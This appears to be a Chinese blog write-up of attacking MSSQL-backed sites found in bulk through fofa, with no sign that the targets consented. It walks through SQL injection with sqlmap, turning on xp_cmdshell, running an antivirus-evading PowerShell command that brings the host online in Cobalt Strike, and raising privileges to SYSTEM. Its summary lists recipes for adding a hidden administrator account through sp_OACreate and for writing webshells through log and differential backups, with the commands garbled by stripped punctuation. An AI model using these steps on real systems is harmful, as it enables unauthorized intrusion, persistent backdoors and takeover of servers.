0x01前言 菜鸡第一次实战中碰到mssql的堆叠注入,大佬们轻喷。本来对堆叠注入没啥了解,这次正巧碰到mssql的堆叠注入,正好加强一下对堆叠注入的理解。 0x02堆叠注入 因为在sql查询语句中,分号;代表查询语句的结束,所以在执行sql语句结尾分号的后面,再加一条sql语句,就造成了堆叠注入。 这种情况很像联合查询,他们的区别就在于联合查询执行的语句是有限的,只能用来执行查询语句,而堆叠注入可以执行任意语句。 菜鸡不会审计php代码,这里就不贴sql语句的源码了。 0x03渗透过程 先fofa批量找一下目标 前台的页面,首先怼一波弱口令 其实有几个是可以弱口令直接进后台的,但是后台没有任何的getshell点 那就只能在后台的登录窗口试一试有没有注入了,抓包测试一下 发现有注入点,直接上sqlmap一把梭,直接出了mssql数据库,而且是堆叠注入。 这里想直接osshell,想起来堆叠注入后面的语句是没有回显的,再换个思路。 ping下dnslog看看是否可以直接执行命令,看来是可以执行命令的 再换个思路,尝试用xpcmdshell,手工打开xpcmdshell,发现函数没有被禁用,可以执行命令EXECspconfigureshowadvancedoptions,1;RECONFIGURE;EXECspconfigurexpcmdshell,1;RECONFIGURE; 尝试直接注入cs的powershell上线,好家伙,直接上线,看来函数没有被禁用EXECmaster。。xpcmdshell’免杀powershell命令’ 甜土豆提权到system 连xpcmdshell命令都没有禁用,想来也不会有什么杀软。 首先看了一下进程,emmm那么多powershell进程。。。。。。没有啥玩的必要了。可以尝试溯源一波,下篇文章发。 也没有内网,收工。 0x03总结 这里这么顺利是因为没有杀软,命令也都没有拦截禁用,下面说一下如果xpcmdshell被禁用该怎么办。 1。spconfigure函数 开启spconfigure函数的命令EXECspconfigureshowadvancedoptions,1;RECONFIGUREWITHOVERRIDE;EXECspconfigureOleAutomationProcedures,1;RECONFIGUREWITHOVERRIDE;EXECspconfigureshowadvancedoptions,0; 执行系统命令,注意没有回显,下面的命令添加一个影子用户并加入管理员组declareshellintexecspoacreatewscript。shell,shelloutputexecspoamethodshell,run,null,c:windowssystem32cmd。execnetuserhack0declareshellintexecspoacreatewscript。shell,shelloutputexecspoamethodshell,run,null,c:windowssystem32cmd。execnetlocalgroupadministrators0 还有其他的函数,这里就不一一列举了。 注:很多情况上面两个函数并不能执行(存在杀软),mssql数据库可以用以下两个方法。 2。log备份写shell 前提条件:数据库存在注入用户具有读写权限,一般至少DBO权限有网站的具体路径站库不分离 而且这种方法备份出的马子体积很小,备份成功的可能性很大。 利用步骤:1。修改数据库为还原模式(恢复模式):;alterdatabase库名setRECOVERYFULL2。建表和字段;createtableorange(aimage)3。备份数据库;backuplog数据库名todisk‘c:wwwrnge1。bak’withinit4。往表中写入一句话;insertintoorange(a)values(0x。。。)值要进行hex进制转换下5。利用log备份到web的物理路径;backuplog数据库名todiskc:wwwrnge2。phpwithinit6。删除表;Droptableorange 3。差异备份写shell概念:备份自上一次完全备份之后有变化的数据。差异备份过程中,只备份有标记的那些选中的文件和文件夹。它不清除标记,也即备份后不标记为已备份文件。换言之,不清除存档属性。 用人话说就是:第二次备份的时候,与上一次完全备份的时候作对比,把不同的内容备份下来,所以只要插入我们的一句话木马,再备份一下,一句话就会被写到数据库中。 前提条件:有网站具体路径有可写权限(dbo权限以上)站库不分离 利用步骤:1。备份数据库;backupdatabase数据库名todiskC:www。。。withinit2。创建表格;createtableorange(aimage)3。写入insertintoorange(a)values(0xxxxx)4。进行差异备份;backuplog数据库名todiskC:wwworange。aspWITHDIFFERENTIAL,FORMAT;5。删除表;Droptableorange 这些都是理论,实战中可能被各种过滤,还需要修改payload进行具体绕过。 文章来源:奇安信攻防社区(0rnge) 原文地址:https:forum。butian。netshare517